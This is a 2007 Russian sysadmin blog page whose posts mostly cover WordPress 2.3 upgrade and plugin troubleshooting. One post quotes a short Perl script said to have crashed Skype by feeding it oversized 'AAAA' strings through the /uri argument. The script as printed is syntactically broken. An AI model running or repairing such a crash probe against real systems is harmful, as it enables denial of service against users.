Скрипты » category » Записки старого сисадмина

Wordpress 2.3.1 & wp_pagenavi

Автор : Silver Ghost | Категории : WordPress | Дата : 29-10-2007

Вчера обновил свой WP до версии 2.3.1. Все прошло безболезненно и без каких либо проблем, за что огромное спасибо Max‘у.

И в процессе обновления разобрался таки почему у меня не работал плагин wp_pagenavi. Очень приятный плагин навигации отказался работать после обновления WP до версии 2.3.

Все оказалось банально и просто. Есть плагин adhesive, который совершенно не дружит с навигацией в WP 2.3. Он полностью отрубает всю нижнюю систему навигации. Какой-то глюк. Так вот как только я его деактивировал - все встало на свои места и заработало.

Так что теперь я вернул на место постраничную навигацию.

Плагин PageNavi

Автор : Silver Ghost | Категории : WordPress | Дата : 03-10-2007

Весь вечер сидел и рыл код WP на предмет “почему не работает плагин PageNavi“. Так и не понял в чем проблема. Докопался до того, что переменная $wp_query->max_num_pages всегда имеет значение 0. Она берется из строки 1282 файла query.php, где она расчитывается из полного количествава постов деленое на переменную количества постов на странице.

Полное количество постов и есть всегда 0. Что это? Глюк в WP, глюк в моей базе после обновления до WP2.3, мое недопонимание работы WP?

Кусок кода из файла:

if ( !empty($limits) ) {
$found_posts_query = apply_filters( ‘found_posts_query’, ‘SELECT FOUND_ROWS()’ );
$this->found_posts = $wpdb->get_var( $found_posts_query );
$this->found_posts = apply_filters( ‘found_posts’, $this->found_posts );
$this->max_num_pages = ceil($this->found_posts / $q['posts_per_page']);
}

Расскажите мне, если кто знает, что это за apply_filters и что за $wpdb_getvar? А то уж больно хочется запустить нормальную навигацию по блогу.

Другие плагины не предлагать.

  1. Ставил. Не работают.
  2. Даже встроенная навигация не работает.

Отсюда вывод - проблема либо в базе, что вероятно - после апгрейда WP, либо в таки в коде WP, что маловероятно - у многих плагины работают.

Google sitemap plugin

Автор : Silver Ghost | Категории : WordPress | Дата : 30-09-2007

После обновления плагина до версии 3.0 ошибка ушла в небытие. :) Работаем дальше.

Вот с wp_pagenavi надо будет еще разбираться.

Wordpress 2.3 upgrade

Автор : Silver Ghost | Категории : WordPress | Дата : 30-09-2007

Обновил сегодня свой блог до версии 2.3. Столкнулся при обновлении с некоторыми проблемами:

  1. Брал локализованную версию с сайта maxsite.org и пришлось некоторые вещи дописывать в wp-language.php для более полной русификации.
  2. Проблема с плагином wp_pagenavi. Не хочет он у меня публиковать строку навигации хоть убей.
  3. При постинге вылетала ошибка:

WordPress database error: [Table ’wordpress.wp_categories’ doesn’t exist]
SELECT c.cat_ID AS ID, MAX(p.post_modified) AS last_mod FROM `wp_categories` c, `wp_post2cat` pc, `wp_posts` p WHERE pc.category_id = c.cat_ID AND p.ID = pc.post_id AND p.post_status = ’publish’ AND p.post_type=’post’ GROUP BY c.cat_id…

Поборол ее отключением плагина генерации sitemaps для Google.

Теперь буду разбираться с этими ошибками и нестыковками. Как разберусь, переведу второй свой блог о Селидово на новый Wordpress.

Windows Live Writer & Wordpress

Автор : Silver Ghost | Категории : Software, WordPress | Дата : 20-09-2007

Поставил себе вот WLW посмотреть что это такое и с чем его едят.

В принципе очень даже неплохо, хотя и есть некоторые вещи, которых не хватает. Может быть, конечно, я еще не совсем разобрался что и к чему.

Например, не вижу где можно вытащить посленюю запись для правки, как в Семаджике (хотя в Семаджике оно глючит с WP). Не отправляется пост по Ctrl+Enter.

А так, в общем и целом, очень даже понравилось. Пока оставлю себе на машине, пусть работает, если ничего другого не найду.

Wordpress 2.3 RC1

Автор : Silver Ghost | Категории : WordPress | Дата : 19-09-2007

Анонсирован выход Wordpress 2.3 RC1.

Скачать можно тут.

Новый сервер

Автор : Silver Ghost | Категории : Blog, OS, WordPress, Линукс | Дата : 18-09-2007

Сегодня закончил перенос своего блога на новый сервер к себе домой. :)

Поднял Федору 7-ю (долго не мог понять почему не ставится, но об этом потом), на ней поднял Apache, MySQL, PHP, Bind и Wordpress. Теперь вот в планах поднять Postfix с ClamAV или Communigate, еще не решил, что именно. Как думаете, что лучше?

Ну и конечно перетащить все свои проекты на домашний сервер.

Вот думаю еще поднять WordpressMU для хостинга друзьям, но пока еще не уверен надо ли это мне.

Skype

Автор : Silver Ghost | Категории : Линукс, Скрипты | Дата : 17-08-2007

Вот из-за этого скрипта вчера лежал весь Skype:

!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!
for ($i=256; $i>xCCCCC; $i=$i+256){
$eot='AAAA' x $i;

call_sp();

}

exit;
sub call_sp(){
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";

}

PHP скрипт погоды

Автор : Silver Ghost | Категории : PHP, Линукс, Скрипты | Дата : 30-07-2007

Дорисовал в скрипт погоды рассылку по разным городам. Т.е. теперь не только Донецк рассылает, но и любой другой город. Хоть Бобруйск. :)

Кстати, Пелода на Бобруйск подписал! :)

админка в WordPress

Автор : Silver Ghost | Категории : WordPress | Дата : 24-07-2007

Нарыл тут в комьюнити ЖЖ ссылку на изменение админки в Wordpress. Нравится.

WPTiger.

Вот и глюк нашел. некоррекное переключение режимов “Код” и “Визуальный” при написании поста. Но это не сильно напрягает пока.